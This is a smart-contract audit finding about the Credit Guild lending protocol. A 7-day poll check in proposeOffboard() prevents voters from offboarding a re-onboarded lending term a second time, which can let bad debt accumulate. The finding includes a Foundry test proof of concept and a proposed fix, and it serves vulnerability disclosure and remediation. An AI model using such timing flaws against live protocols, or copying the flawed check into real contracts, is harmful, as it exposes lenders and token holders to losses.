Each time that GUILD voters want to offboard a term, someone will have to call proposeOffboard() in order to start a poll. The other voters will have the ability to support this poll by calling supportOffboard(). As soon as the votes reach to a quorum, the offboard() function will have to be called to remove that term from the market and allow all loans from that term to be called.

The poll for offboarding a term has a max duration of 7 days, this restriction is enforced on proposeOffboard():

    require(
        block.number > lastPollBlock[term] + POLL_DURATION_BLOCKS,
        "LendingTermOffboarding: poll active"
    );

This check will enforce that nobody can propose the offboarding of a LendingTerm twice in a 7-day period.

Given that the system allows for re-onboarding terms, it's possible that a LendingTerm can be offboarded and re-onboarded in less than 7 days. In such case, if market conditions turn adverse, the GUILD voters won't be able to offboard the same term for a second time, therefore allowing for bad debt to be created and impact all the market.

It's not unfeasible to assume this situation can occur in a future given that the protocol aims for supporting thousands of terms in a market, as it's stated in the docs:

Major lending pools today support at most a few dozen unique loan terms, the Credit Guild is intended to support thousands [...]

Impact

GUILD voters won't be able to offboard the same term twice in a 7-day window period and that will lead to bad debt that will impact all the market and it's voters. In the scenario where loans start to default, all voters for that term will be slashed and the CREDIT token of that market will experience losses.

Proof of Concept

The following coded POC can be pasted in LendingTermOffboarding.t.sol. The test can be run with the command: forge test --match-test testCannotOffboardTwiceIn7Days

function testCannotOffboardTwiceIn7Days() public {
    // Offboard term
    guild.mint(bob, _QUORUM);
    vm.startPrank(bob);
    guild.delegate(bob);
    uint256 snapshotBlock = block.number;
    offboarder.proposeOffboard(address(term));
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);
    offboarder.supportOffboard(snapshotBlock, address(term));
    offboarder.offboard(address(term));

    // Get enough CREDIT to pack back interests
    vm.stopPrank();
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);
    uint256 debt = term.getLoanDebt(aliceLoanId);
    credit.mint(alice, debt - aliceLoanSize);

    // Close loans and cleanup
    vm.startPrank(alice);
    credit.approve(address(term), debt);
    term.repay(aliceLoanId);
    vm.stopPrank();
    offboarder.cleanup(address(term));

    // After ~5 days @ 13s/block...
    vm.roll(block.number + 33230);
    vm.warp(block.timestamp + 5 days);

    // Re-onboard
    guild.addGauge(1, address(term));

    // After ~1 day...
    vm.roll(block.number + 6646);
    vm.warp(block.timestamp + 1 days);

    // It's not possible to offboard a second time
    vm.expectRevert("LendingTermOffboarding: poll active");
    offboarder.proposeOffboard(address(term));   
}

Tools Used

Manual Review

Recommended Mitigation Steps

It's recommended to modify the check in proposeOffboard() in order to allow a second offboarding of a term if the previous offboarding is already complete.

As a potential solution, consider adding a mapping isPollCompleted[term] that marks true when the quorum is reached for a certain poll on supportOffboard(). This could be the new check on proposeOffboard() to mitigate this issue:

    require(
-       block.number > lastPollBlock[term] + POLL_DURATION_BLOCKS,
+       block.number > lastPollBlock[term] + POLL_DURATION_BLOCKS || isPollCompleted[term],
        "LendingTermOffboarding: poll active"
    );

Assessed type

Timing